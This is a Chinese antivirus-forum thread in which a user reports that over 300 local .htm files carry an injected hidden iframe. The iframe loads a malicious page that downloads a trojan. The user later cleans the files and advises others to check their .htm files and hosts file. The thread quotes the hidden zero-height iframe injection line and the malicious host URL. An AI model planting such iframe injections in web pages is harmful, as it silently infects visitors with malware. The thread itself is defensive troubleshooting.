瑞星卡卡安全论坛

每个里面都有"http://wow.a38q.cn/wow.htm"
到这里的跳转代码一行
只要打开htm，页面虽然正常，但是病毒就连过去开始下载了
一共有300+个htm
怎么清空这些垃圾代码？？？？

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

能否上传几个htm文件..

压缩后上传.

说晚了
我刚下了dreamweaver把代码给替换掉了
所有的都在最末尾处添加一行
<iframe src="***" width="100" height="0" frameborder="0"></iframe>

***-------->"h  t  t  p://wow.a38q.cn/wow.htm"
然后就下载这个木头马
Trojan.DL.JS.Agent.lmr

没刚想给你工具清..

但是要测试下..保万一..

我很气愤是，这个东西导致了所有的带网页的应用程序都会变成病毒下载源头。虽然一些软件正常，但是只要联网，就会自动下载病毒。而且根本查不到。那个下载木马后面跟着的病毒也晒给大家看，还多了一个熊猫，昨天没有，今天是那个网站新更新的。

附件: 727198200799110039.jpg

谢谢版主~~~问题已解决啦，各位同志，杀掉病毒后别忘记看看.htm
系统没毒也不代表这个毒已经清空。hosts也要看看